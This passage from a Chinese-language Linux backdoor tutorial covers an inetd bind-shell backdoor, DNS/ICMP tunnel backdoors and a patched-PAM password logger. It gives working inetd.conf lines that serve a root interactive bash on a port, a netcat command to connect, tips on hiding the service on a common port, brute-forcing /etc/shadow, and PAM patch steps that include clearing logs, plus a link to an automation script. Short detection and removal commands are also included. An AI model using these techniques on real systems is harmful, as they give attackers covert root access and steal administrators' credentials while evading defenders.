6.inetd****服务后门
inetd 是一个监听外部网络请求 ( 就是一个 socket) 的系统守护进程,默认情况下为 13 端口。当 inetd 接收到 一个外部请求后,它会根据这个请求到自己的配置文件中去找到实际处理它的程序,然后再把接收到的 这个socket 交给那个程序去处理。所以,如果我们已经在目标系统的 inetd 配置文件中配置好,那么来自 外部的某个socket 是要执行一个可交互的 shell ,就获取了一个后门。
![54](54.png)![54](54.png)#修改/etc/inetd.conf
$vim /etc/inetd.conf
#discard stream tcp nowait root internal
#discard dgram udp wait root internal
daytime stream tcp nowait root /bin/bash bash -i
#开启inetd
inetd
#nc连接
nc -vv 192.168.2.11 13
修改默认端口
/etc/services
woot 6666/tcp #evil backdoor service
然后修改/etc/inetd.conf :
woot stream tcp nowait root /bin/bash bash -i
我们可以修改成一些常见的端口,以实现隐藏。
其实 /etc/shadow文件,爆破root的密码才最保险啊
检测:查看配置文件即可
cat /etc/inetd.conf
7.**.**协议后门
在一些访问控制做的比较严格的环境中,由内到外的 TCP 流量会被阻断掉。但是对于 UDP(DNS 、 ICMP) 相关流量通常不会拦截。
ICMP
主要原理就是利用 ICMP 中可控的 data 字段进行数据传输
DNS
在大多数的网络里环境中 IPS/IDS 或者硬件防火墙都不会监控和过滤 DNS 流量。主要原理就是将后门载荷 隐藏在拥有PTR 记录和 A 记录的 DNS 域中(也可以利用 AAAA 记录和 IPv6 地址传输后门)。
协议后门检测:对于 DNS/ICMP 这种协议后门,直接查看网络连接即可,因为在使用过程中会产生大量 的网络连接
清除: kill 进程、删除文件即可
8.PAM****后门
PAM 使用配置 /etc/pam.d/ 下的文件来管理认证方式,应用程序调用相应的配置文件,以加载动态库的 形式调用 /lib/security 下的模块。
PAM 配置可分为四个参数 : 模块类型、控制标记、模块路径、模块参数,例如 : session required
pam_selinux.so open
上面提到的 sshd 软链接后门利用的 PAM 机制达到任意密码登录,还有一种方式是键盘记录。原理主要是通过 pam_unix_auth.c 打补丁的方式潜入到正常的 pam 模块中,以此来记录管理员的帐号密码。
利用步骤:复制 patch 到源代码目录 >>> 打 patch >>> 编译 >>> 将生成的 pam_uninx.so 文件覆盖 到/lib/secruity/pam_unix.so 下 >>> 修改文件属性 >>> 建立密码保存文件,并设置好相关的权限 >>> 清理日志 >>> ok
#确保ssh开启pam支持
vim /etc/ssh/sshd_config
UsePAM yes
#自动化脚本
https://github.com/litsand/shell/blob/master/pam.sh
检测:
1、通过Strace跟踪ssh
ps axu | grep sshd
strace -o aa -ff -p PID
grep open aa* | grep -v -e No -e null -e denied| grep WR
2、检查pam_unix.so的修改时间
stat /lib/security/pam_unix.so #32位
stat /lib64/security/pam_unix.so #64位
清除: yum reinstall pam